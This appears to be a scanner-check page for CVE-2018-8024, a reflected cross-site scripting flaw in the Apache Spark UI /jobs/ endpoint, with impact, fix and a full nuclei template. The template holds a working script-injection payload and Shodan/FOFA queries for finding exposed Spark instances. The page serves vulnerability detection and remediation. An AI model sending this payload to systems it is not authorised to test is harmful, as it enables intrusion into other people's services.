Apache Spark UI - Cross-Site Scripting

mediumseverity

6.1CVSS score

5.3%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Apache Spark UI before 2.3.2 is vulnerable to XSS via unsanitized query string parameters in the /jobs/ endpoint.

Impact

Attackers can execute arbitrary JavaScript in victims' browsers via crafted query string parameters, potentially stealing session cookies or performing actions on behalf of users.

Fix

Upgrade to Apache Spark version 2.3.2 or later.

How to confirm it

Send: GET {{BaseURL}}/jobs/?"'><script>alert(document.domain)</script> ; GET {{Host}}:4040/jobs/?"'><script>alert(document.domain)</script>
Positive when: status_code == 200 and contains(content_type, 'text/html') and contains_all(body, '><script>alert(document.domain)</script>', 'Spark Jobs')

Run it with nuclei: nuclei -id CVE-2018-8024 -u <target>

The full check

id: CVE-2018-8024

info:
  name: Apache Spark UI - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Apache Spark UI before 2.3.2 is vulnerable to XSS via unsanitized query string parameters in the /jobs/ endpoint.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers via crafted query string parameters, potentially stealing session cookies or performing actions on behalf of users.
  remediation: |
    Upgrade to Apache Spark version 2.3.2 or later.
  reference:
    - https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-8024
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8024
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-8024
    cwe-id: CWE-79
    epss-score: 0.05294
    epss-percentile: 0.92644
    cpe: cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: spark
    shodan-query: title:"spark master at"
    fofa-query: title="spark master at"
  tags: cve,cve2018,spark,xss,ui,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jobs/?\"'><script>alert(document.domain)</script>"
      - "{{Host}}:4040/jobs/?\"'><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'text/html')"
          - "contains_all(body, '><script>alert(document.domain)</script>', 'Spark Jobs')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from